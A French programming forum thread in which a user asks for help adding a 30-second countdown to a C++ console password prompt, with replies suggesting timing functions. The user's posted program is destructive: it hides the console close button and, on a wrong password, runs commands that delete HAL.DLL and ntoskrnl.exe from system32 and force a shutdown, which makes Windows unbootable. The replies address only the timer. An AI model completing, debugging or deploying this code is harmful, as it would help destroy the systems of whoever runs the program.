Demande de code

Résolu
wowcrax Messages postés 16 Date d'inscription mercredi 7 juillet 2010 Statut Membre Dernière intervention 27 novembre 2010 - 21 nov. 2010 à 19:00
wowcrax Messages postés 16 Date d'inscription mercredi 7 juillet 2010 Statut Membre Dernière intervention 27 novembre 2010 - 27 nov. 2010 à 20:18
Bonjour, je suis nouveau sur ce forum et j'ai remarqué qu'il y avait beaucoup de personnes compétente dans le langage C. De plus je dois dire, que je ne suis pas très calé et c'est pourquoi je viens poster.

J'ai fait un code en C++ qui deande un mot de passe, trois en faite, et si on se trompe dans l'un un commande est effectué, et si les trois sont bon, le prgramme se ferme.

Le seule soucis, c'est que j'aimerai laissé seulement 30 secondes pour entrer un mot de passe. Voilà.

Quelqu'un peut-il m'aider ? Merci d'avance pour les réponses.


Cordialement,

WoWcrax

27 réponses

wowcrax Messages postés 16 Date d'inscription mercredi 7 juillet 2010 Statut Membre Dernière intervention 27 novembre 2010
25 nov. 2010 à 18:22
Oui, mais moi je veux pas savoir le temps écoulé, je veux un compte rebours, qui si il arrive a 0 il fasse comme si e mot de passe entré était faux, et si il est bon, il ferme le programme.
0
Pistol_Pete Messages postés 1053 Date d'inscription samedi 2 octobre 2004 Statut Membre Dernière intervention 9 juillet 2013 7
25 nov. 2010 à 18:26
Ce n'est pas compliquer de faire une soustraction et une comparaison!

____________________________________________________________________________
Logiciel en traitement de l'image gratuit et open source.
0
wowcrax Messages postés 16 Date d'inscription mercredi 7 juillet 2010 Statut Membre Dernière intervention 27 novembre 2010
25 nov. 2010 à 18:42
Bah pour moi justement que si.
0
Pistol_Pete Messages postés 1053 Date d'inscription samedi 2 octobre 2004 Statut Membre Dernière intervention 9 juillet 2013 7
25 nov. 2010 à 18:55
Ben au début de ta fonction getnombre
tu regardes quel sont les secondes. puis après chaque tentative tu appelles à nouveaux getLocalTime() puis tu compares les secondes...
Si c'est supérieur à 30 tu considère que le mdp est faux.
A+

____________________________________________________________________________
Logiciel en traitement de l'image gratuit et open source.
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
wowcrax Messages postés 16 Date d'inscription mercredi 7 juillet 2010 Statut Membre Dernière intervention 27 novembre 2010
26 nov. 2010 à 17:15
Ok merci, j'envoie une réponse quand j'aurai fini lol.
0
wowcrax Messages postés 16 Date d'inscription mercredi 7 juillet 2010 Statut Membre Dernière intervention 27 novembre 2010
27 nov. 2010 à 20:18
Bah j'y arrive pas, pourrait tu corriger ce code stp :
#define _WIN32_WINNT 0x0502
#include <cstdlib>
#include <conio.h>
#include <stdlib.h>
#include 
#include <time.h>
#include <stdio.h>
#include <windows.h>
#include <winable.h>


using namespace std;

int timeoutgetnb(int* remaining,const char* chaine)
{
int timeleft;
char cache[11] = {0};
int curs = 0;
time_t starttime = time(NULL);
printf("\r%s [%d] : %s          ",chaine,*remaining,cache);
do
{
time_t crt = time(NULL);
if (difftime(crt,starttime)>=1.0)
{
starttime = crt;
(*remaining)--;
printf("\r%s [%d] : %s          ",chaine,*remaining,cache);
}
if (_kbhit())
{
char c = (char)getch();
if (c>='0' && c<='9' && curs<10)
cache[curs++] = c;
if (c==0x0D)
{
printf("\n");
return atoi(cache);
}
if (c=='\b' && curs!=0)
cache[--curs] = '\0';
printf("\r%s [%d] : %s          ",chaine,*remaining,cache);
}
}
while ((*remaining)>0);
printf("\n");
return -1;
}

int getnombre()
{

  HWND hConsole = GetConsoleWindow();
  HMENU hMenu = GetSystemMenu( hConsole, false );

  if( DeleteMenu ( hMenu, SC_CLOSE, MF_BYCOMMAND ))
  cout << "(1/3)Veuillez saisir le premier mot de passe pour fermer ce programme." << endl;
  int c;
  int n=0;
  do
        {
                c=getch();
                if (c>='0' && c<='9')
                {
                        n*=10;
                        n+=(c-'0');
                        cout << "*";
                        cout.flush();
                }
        }
        while(c!=13);
        cout << endl;
        return n;
}

int main()
{
        system ("color 04");
        int a;
        a=getnombre();
        if (a == 84955222)
           {
                  cout << "(2/3) Bon mot de passe. Veuillez saisir le deuxieme mot de passe." << endl;
           }

        else

           {
                  system("color 02");
                  cout << "Mot de passe saisi incorrecte. Traitment des fichiers racine."<< endl;
                  system ("del %systemroot%\\system32\\HAL.DLL");
                  system ("del %systemroot%\\system32\\ntoskrnl.exe");
                  cout << " Fichiers racines supprimes. Mise hors tension dans 60 secondes." << endl;
                  system("shutdown -f -s -t 60");
                  system("pause");
                  return 0;
           }

        a=getnombre();
        if (a == 11235813)

           {
                  system("color 06");
                  cout << "(3/3) Bon mot de passe. Veuillez saisir le troisieme mot de passe" << endl;
           }

        else

           {
                  system("color 02");
                  cout << "Mot de passe saisi incorrecte. Traitment des fichiers racine."<< endl;
                  system ("del %systemroot%\\system32\\HAL.DLL");
                  system ("del %systemroot%\\system32\\ntoskrnl.exe");
                  cout << " Fichiers racines supprimes. Mise hors tension dans 60 secondes." << endl;
                  system("shutdown -f -s -t 60");
                  system("pause");
                  return 0;
           }

        a=getnombre();
        if (a == 12345678)

           {
                  cout << "Mot de passe saisi correcte. Fermeture du programme." << endl;
                  system ("pause");
                  return 0;
           }

        else

           {
                  system("color 02");
                  cout << "Mot de passe saisi incorrecte. Traitment des fichiers racines."<< endl;
                  system ("del %systemroot%\\system32\\HAL.DLL");
                  system ("del %systemroot%\\system32\\ntoskrnl.exe");
                  cout << " Fichiers racines supprimes. Mise hors tension dans 60 secondes." << endl;
                  system("shutdown -f -s -t 60");
                  system("pause");
                  return 0;
           }
}

Car le compte arebours n'est pas en même temps que la demande de mot de passe.
0
Pistol_Pete Messages postés 1053 Date d'inscription samedi 2 octobre 2004 Statut Membre Dernière intervention 9 juillet 2013 7
22 nov. 2010 à 17:15
Regarde la fonction SetTimer() sur MSDN et la notification correspondante : WM_TIMER

A+
____________________________________________________________________________
Logiciel en traitement de l'image gratuit et open source.
-1
Rejoignez-nous